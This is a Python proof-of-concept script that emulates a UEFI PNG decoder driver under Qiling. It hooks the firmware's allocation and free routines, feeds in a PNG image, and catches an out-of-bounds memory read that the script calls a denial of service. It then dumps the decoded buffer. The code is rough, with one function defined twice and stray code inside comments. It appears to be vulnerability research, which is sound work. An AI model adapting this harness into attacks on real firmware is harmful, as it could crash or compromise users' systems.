poc.py

import struct
import os
from qiling import Qiling
from qiling.const import *
from capstone import *
from capstone.x86 import *
from qiling.const import *
from unicorn import UC_MEM_READ_UNMAPPED

# --- Configuration ---
BASE_ADDRESS = 0x100000 
TARGET_BIN = "PngDecoderDxe.bin"

# Offsets
FUNC_DECODE  = 0x4394
FUNC_WRAPPER = 0x45f0  
FUNC_ALLOC   = 0x46f0  
FUNC_END     = 0x4770 
ALLOC_OFFSET = 0x46d4
MANUAL_HEAP_BASE = 0x50000000 
next_heap_addr = MANUAL_HEAP_BASE


def force_abort_on_invalid_read(ql, access, addr, size, value):
    print("ABORT")

# This triggers ONLY if the address is not in the emulator's memory map
    if access == UC_MEM_READ_UNMAPPED:
        print(f"\n" + "!"*60)
        print(f"CRITICAL SYSTEM ABORT: UNMAPPED MEMORY ACCESS")
        print(f"Instruction RIP: {hex(ql.arch.regs.rip)}")
        print(f"Illegal Read Address: {hex(addr)} (The image data ened at 0x9073B07 )")
        print("!"*60 + "\n")
        
        # Stop the emulator immediately to prove the DoS
        ql.stop()
        return True # Tells Qiling we handled the fault (by dying)    ql.stop()
    # Raise an error so the script execution halts and you see the cause
    #raise MemoryError(f"Access Violation at {hex(addr)}")

def hook_at_call(ql):
    # What's on the stack BEFORE the function runs?
    sp = ql.arch.regs.rsp
    print(f"[DEBUG] At CALL (0x3f20): RSP={hex(sp)}, Value at Top={hex(ql.mem.read_ptr(sp))}")
    # Write our return address
    ql.mem.write_ptr(sp, BASE_ADDRESS + 0x3f25)
    print(f"        -> Injected 0x3f25 into stack")

def final_dump_hook(ql):
    target_addr = 0x60000000 # The  high-memory address where the output buffer is
    target_size = 0x300800
    print(f"\n[!] DATA EXTRACTION: Reading from {hex(target_addr)}...")
    try:
        data = ql.mem.read(target_addr, target_size)
        with open("lenna_recovered.raw", "wb") as f:
            f.write(data)
        print(f"[+] SUCCESS: Recovered {len(data)} bytes via Forward Copy.")
    except Exception as e:
        print(f"[-] Dump failed: {e}")
    ql.stop()


def hook_allocpool(ql):
    global next_heap_addr
    current_rip = ql.arch.regs.rip
    
    # --- AllocatePool Hook ---
    if current_rip == 0x1046d4:
        size = ql.arch.regs.rdx
        # this is a cheat, im hardcoded to the real size of the IDA CHUNK, on the messed up IDAT CHUNK this wont matter.
        if size >= 0x300800:
            print(f"[!] NETSPI: Large allocation detected. Spacing out heap to prevent overlap.")
            next_heap_addr += 0x10000000  # Jump a lot of MB ahead

        ptr_ptr = ql.arch.regs.r8
        
        # Manual Allocation (Avoiding ql.mem.heap_alloc crash)
        addr = next_heap_addr
        ql.mem.map(addr, (size + 0xfff) & ~0xfff) # Map it on the fly
        next_heap_addr += (size + 0x1000) & ~0xfff # Increment for next time
        
        # Write the pointer back
        ql.mem.write_ptr(ptr_ptr, addr)
        
        ql.arch.regs.rax = 0 # EFI_SUCCESS
        ql.arch.regs.rip += 3 # Skip the 'ff 50 40'
        
        print(f"[!] Spoofed AllocatePool: {hex(size)} bytes @ {hex(addr)}")

    
def professional_trace(ql: Qiling, address: int, size: int, md: Cs):
    buf = ql.mem.read(address, size)
    try:
        insn = next(md.disasm(buf, address))
        reads = []
        for reg in insn.regs_access()[0]:
            reg_name = insn.reg_name(reg)
            reg_val = ql.arch.regs.read(reg)
            reads.append(f'{reg_name} = {reg_val:#x}')
        trace_line = f'{insn.address:016x} | {insn.bytes.hex():16s} {insn.mnemonic:8} {insn.op_str:25s} | {", ".join(reads)}'
        print(f'\033[2m{trace_line}\033[0m')
    except:
        pass

def hook_free_with_backtrace(ql):
    # rcx is the address being freed (param 1 of FreePool)
    address_to_free = ql.arch.regs.rcx
    
    # The return address is the location in the code that CALLed FreePool
    return_address = ql.mem.read_ptr(ql.arch.regs.rsp)
    
    # Calculate the offset relative to the base (0x100000) for easy IDA lookup
    offset = return_address - 0x100000
    
    print(f"[INTERCEPT] FreePool called for {hex(address_to_free)}")
    print(f"            Called from: {hex(return_address)} (Binary Offset: {hex(offset)})")
    
    # Simulate a successful return (EFI_SUCCESS = 0)
    ql.arch.regs.rax = 0
    ql.arch.regs.rip = return_address
    ql.arch.regs.rsp += 8

def final_dump_hook(ql):
    # This is the base address from your 'Large allocation detected' log
    target_addr = 0x60419000  
    
    # We dump the full requested size to be safe
    target_size = 0x300800    
    
    print(f"\n[!] FINAL EXTRACTION: Dumping from {hex(target_addr)}")
    try:
        data = ql.mem.read(target_addr, target_size)
        
        # Strip trailing zeros to see the actual payload size
        actual_payload = data.rstrip(b'\x00')
        print(f"[+] Captured {len(actual_payload)} bytes of non-zero data.")
        
        with open("lenna_final.raw", "wb") as f:
            f.write(data)
            
        print("[+] File saved as lenna_final.raw")
    except Exception as e:
        print(f"[-] Dump failed: {e}")
    
    ql.stop()


 
def my_sandbox(path, rootfs):
    ql = Qiling([path], rootfs, archtype=QL_ARCH.X8664, ostype=QL_OS.UEFI, verbose=QL_VERBOSE.OFF)
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    md.detail = True

    # 1. Load Data
    with open("lenna.png", "rb") as f:
        png_data = f.read()

    # 2. Map Memory (Hardcoded safely)
    input_addr = 0x9000000
    secret_zone_addr = input_addr + len(png_data)
    vars_addr  = 0xa000000
    heap_base  = 0xb000000
    
    ql.mem.map(input_addr, (len(png_data) + 0x2000+ 0xfff) & ~0xfff)
    ql.mem.map(vars_addr, 0x10000)
    ql.mem.map(heap_base, 0x1000000) 
    ql.mem.write(input_addr, png_data)

    # --- SIMPLIFIED STACK MAPPING ---
    # We just try to map the page. If it's already there, Unicorn handles it.
    sp = ql.arch.regs.rsp
    try:
        # Map a wide range around the stack to be safe
        ql.mem.map((sp + 0x100) & ~0xfff, 0x2000)
    except:
        pass 
    # --------------------------------

    # 3. Hooks
    heap_state = {"ptr": heap_base}


    def start_tracing(ql):
        print("\n" + "="*20 + " DECODER TRACE START " + "="*20)
        ql.n_h = ql.hook_code(lambda q, a, s: professional_trace(q, a, s, md))
    def stop_tracing(ql):
        ql.hook_del(ql.n_h)
        print("="*20 + " DECODER TRACE END " + "="*20)

#    ql.hook_address(start_tracing, BASE_ADDRESS + FUNC_DECODE)
    ql.hook_address(stop_tracing, BASE_ADDRESS + 0x44f8)
    ql.hook_address(hook_allocpool,  BASE_ADDRESS + ALLOC_OFFSET)
    ql.hook_address(hook_free_with_backtrace, BASE_ADDRESS +0x4707)
    ql.hook_mem_unmapped(force_abort_on_invalid_read)
    ql.hook_address(final_dump_hook, BASE_ADDRESS+ 0x4853)

    # Register the fix at the CALL instruction
     # Register both
    ql.hook_address(hook_at_call, BASE_ADDRESS + 0x3f20)
    # setting up paramaters for the callof the decoder function
    out_ptr_ptr = vars_addr + 0x00 
    width_ptr   = vars_addr + 0x10 
    height_ptr  = vars_addr + 0x20 
    
    ql.arch.regs.rcx = out_ptr_ptr
    ql.arch.regs.rdx = width_ptr
    ql.arch.regs.r8  = height_ptr
    ql.arch.regs.r9  = input_addr 
   

   # 1. Map the whole stack range to be safe
    try:
        ql.mem.map((sp - 0x2000) & ~0xfff, 0x5000)
    except:
        pass

    # 2. Spray parameters at the offsets the trace showed (0x60) and the wrapper (0x150)
    # This ensures that both the Wrapper and the internal Decoder find the data
    # this needs be done because we are jumping to the decoder function first instead of the normal operations
    param_offsets = [0x28, 0x50, 0x60, 0x150]
    size_offsets  = [0x30, 0x58, 0x68, 0x158]

    for off in param_offsets:
        ql.mem.write_ptr(sp + off, input_addr)
    
    for off in size_offsets:
        ql.mem.write_ptr(sp + off, len(png_data))

    print(f"[*] Stack sprayed. Input: {hex(input_addr)}, Size: {len(png_data)}")
    # --------------------------------
    print("[*] Running 0x45f0...")
    try:
        ql.run(begin=BASE_ADDRESS + FUNC_WRAPPER, end=BASE_ADDRESS + FUNC_END)
    except:
        pass

    # 5. Output
    try:
        final_ptr = ql.mem.read_ptr(out_ptr_ptr)
        w = ql.mem.read_int(width_ptr)
        h = ql.mem.read_int(height_ptr)
        print(f"\n[+] SUCCESS: {w}x{h} at {hex(final_ptr)}")
    except:
        print("\n[-] Decompression failed (NULL result).")

if __name__ == "__main__":
    my_sandbox(TARGET_BIN, ".")